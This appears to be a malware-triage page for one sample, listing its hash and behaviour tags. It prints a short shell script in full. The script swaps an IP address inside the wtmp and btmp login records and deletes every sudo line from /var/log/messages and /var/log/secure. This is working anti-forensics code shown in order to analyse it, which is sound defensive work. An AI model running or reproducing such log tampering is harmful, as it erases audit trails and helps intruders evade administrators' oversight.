Benign Download

d7/e3/d7e3275b25d7e1187789e6b3e49f5b070a65aa667b61ec5e07fefbfe77f50b20

Rewrites live login accounting recordsSelectively removes privileged auth logs
SHA-256d7e3275b25d7e1187789e6b3e49f5b070a65aa667b61ec5e07fefbfe77f50b20
MaleculeO(Er₂)H(F₃)

Evidence

Selectively removes privileged auth logs lines 1–13
1#!/bin/sh
2
3target_address=198.51.100.27
4replacement_address=10.44.0.8
5
6utmpdump /var/log/wtmp | sed "s/${target_address}/${replacement_address}/g" | utmpdump -r > /tmp/.wtmp.rebuilt
7mv /tmp/.wtmp.rebuilt /var/log/wtmp
8
9utmpdump /var/log/btmp | sed "s/${target_address}/${replacement_address}/g" | utmpdump -r > /tmp/.btmp.rebuilt
10mv /tmp/.btmp.rebuilt /var/log/btmp
11
12sed -i '/sudo/d' /var/log/messages
13sed -i '/sudo/d' /var/log/secure

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.